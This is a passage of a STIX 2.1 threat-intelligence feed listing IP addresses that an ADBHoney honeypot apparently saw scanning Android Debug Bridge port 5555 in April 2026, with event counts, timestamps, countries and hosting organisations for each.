      "id": "indicator--c6ec3839-ea98-492c-a8c0-31cfa3698212",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:00:02.000Z",
      "valid_until": "2026-05-10T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 15,
          "first_seen": "2026-04-08T13:01:54.000Z",
          "last_seen": "2026-04-08T15:04:36.287Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=48090; asn_org=Techoff Srv Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-08T13:34:03.000Z | last_seen=2026-04-08T13:35:06.677Z | ports=5555 | cc=BG | asn=48090 | org=Techoff Srv Limited",
      "id": "indicator--3b97a83f-70ab-4b60-b1d9-bd775ec22d92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '93.123.109.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:00:02.000Z",
      "valid_until": "2026-05-10T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-08T13:34:03.000Z",
          "last_seen": "2026-04-08T13:35:06.677Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "48090"
          ],
          "org": [
            "Techoff Srv Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T16:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-08T15:46:56.000Z | last_seen=2026-04-08T15:48:05.885Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--955566b9-721c-4931-9397-7de1dd2657cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.237.156.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:00:08.000Z",
      "valid_until": "2026-05-10T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-08T15:46:56.000Z",
          "last_seen": "2026-04-08T15:48:05.885Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T16:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-08T15:03:35.000Z | last_seen=2026-04-08T15:04:49.185Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--a1346a1c-25ce-4a0f-ae6f-56da8de76aa1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:00:08.000Z",
      "valid_until": "2026-05-10T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-08T15:03:35.000Z",
          "last_seen": "2026-04-08T15:04:49.185Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T16:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-08T15:03:25.000Z | last_seen=2026-04-08T15:04:42.281Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--348edbb4-42d9-4e42-bdc3-b7b75e620d2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:00:08.000Z",
      "valid_until": "2026-05-10T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-08T15:03:25.000Z",
          "last_seen": "2026-04-08T15:04:42.281Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T16:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-08T15:03:35.000Z | last_seen=2026-04-08T15:04:54.229Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--2168c7c6-71be-4829-9450-ae6ff7272536",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:00:08.000Z",
      "valid_until": "2026-05-10T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-08T15:03:35.000Z",
          "last_seen": "2026-04-08T15:04:54.229Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T16:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RE; asn=3215; asn_org=Orange; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-08T15:57:29.000Z | last_seen=2026-04-08T16:07:33.435Z | ports=5555 | cc=RE | asn=3215 | org=Orange",
      "id": "indicator--b909e6a3-a6b0-42cd-9e11-42b3bcede443",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '83.198.211.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:00:08.000Z",
      "valid_until": "2026-05-10T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-08T15:57:29.000Z",
          "last_seen": "2026-04-08T16:07:33.435Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RE"
          ],
          "asn": [
            "3215"
          ],
          "org": [
            "Orange"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=73; ports=5555; cc=GB; asn=201579; asn_org=Hostgnome Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=73 | first_seen=2026-04-08T17:05:57.000Z | last_seen=2026-04-08T17:17:18.593Z | ports=5555 | cc=GB | asn=201579 | org=Hostgnome Ltd",
      "id": "indicator--9cf71a34-9f03-44a7-9927-9c1a819eaa81",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.91.69.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:00:02.000Z",
      "valid_until": "2026-05-10T18:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 73,
          "first_seen": "2026-04-08T17:05:57.000Z",
          "last_seen": "2026-04-08T17:17:18.593Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201579"
          ],
          "org": [
            "Hostgnome Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=MX; asn=8151; asn_org=UNINET; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-08T18:51:00.000Z | last_seen=2026-04-08T19:01:03.250Z | ports=5555 | cc=MX | asn=8151 | org=UNINET",
      "id": "indicator--4dc916a4-6eb3-40d9-b3fa-8a8589abe71e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '187.193.200.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:00:03.000Z",
      "valid_until": "2026-05-10T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-08T18:51:00.000Z",
          "last_seen": "2026-04-08T19:01:03.250Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "8151"
          ],
          "org": [
            "UNINET"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T20:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-08T19:26:49.000Z | last_seen=2026-04-08T19:37:04.630Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.232.138.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T20:00:01.000Z",
      "valid_until": "2026-05-10T20:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-08T19:26:49.000Z",
          "last_seen": "2026-04-08T19:37:04.630Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=27 | first_seen=2026-04-08T21:00:53.000Z | last_seen=2026-04-17T20:50:11.244Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--f6ccd924-01c7-4607-9c6a-98795f707f73",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.92.184.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T22:00:02.000Z",
      "valid_until": "2026-05-10T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 27,
          "first_seen": "2026-04-08T21:00:53.000Z",
          "last_seen": "2026-04-17T20:50:11.244Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-08T21:15:09.000Z | last_seen=2026-04-08T21:16:15.280Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--4f2e996a-8c0b-46f8-9bff-07117b9abf72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.23.153.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T22:00:02.000Z",
      "valid_until": "2026-05-10T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-08T21:15:09.000Z",
          "last_seen": "2026-04-08T21:16:15.280Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-08T22:59:38.000Z | last_seen=2026-04-08T23:00:43.016Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--5dff1f0c-d042-46e8-bed1-c04405ed8b37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:00:02.000Z",
      "valid_until": "2026-05-10T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-08T22:59:38.000Z",
          "last_seen": "2026-04-08T23:00:43.016Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T00:00:30.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-08T23:01:22.000Z | last_seen=2026-04-08T23:11:28.966Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--60400ccd-97cf-41c1-8a5f-28ab57d7510c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:00:30.000Z",
      "valid_until": "2026-05-11T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-08T23:01:22.000Z",
          "last_seen": "2026-04-08T23:11:28.966Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-09T03:53:50.000Z | last_seen=2026-04-09T04:05:15.111Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--3122564e-bc6c-45b1-b89d-22183accbf3c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:00:03.000Z",
      "valid_until": "2026-05-11T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-09T03:53:50.000Z",
          "last_seen": "2026-04-09T04:05:15.111Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=PE; asn=6147; asn_org=INTEGRATEL PERU S.A.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-09T03:37:15.000Z | last_seen=2026-04-09T03:47:25.161Z | ports=5555 | cc=PE | asn=6147 | org=INTEGRATEL PERU S.A.A.",
      "id": "indicator--edfdc1d4-9a92-4aec-9931-e29d99110da7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '181.65.127.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:00:03.000Z",
      "valid_until": "2026-05-11T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-09T03:37:15.000Z",
          "last_seen": "2026-04-09T03:47:25.161Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PE"
          ],
          "asn": [
            "6147"
          ],
          "org": [
            "INTEGRATEL PERU S.A.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=10439; asn_org=CariNet, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=27 | first_seen=2026-04-09T03:49:50.000Z | last_seen=2026-04-09T04:50:18.317Z | ports=5555 | cc=US | asn=10439 | org=CariNet, Inc.",
      "id": "indicator--4cfbed3f-9213-4ff2-8772-f4306cb1f465",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
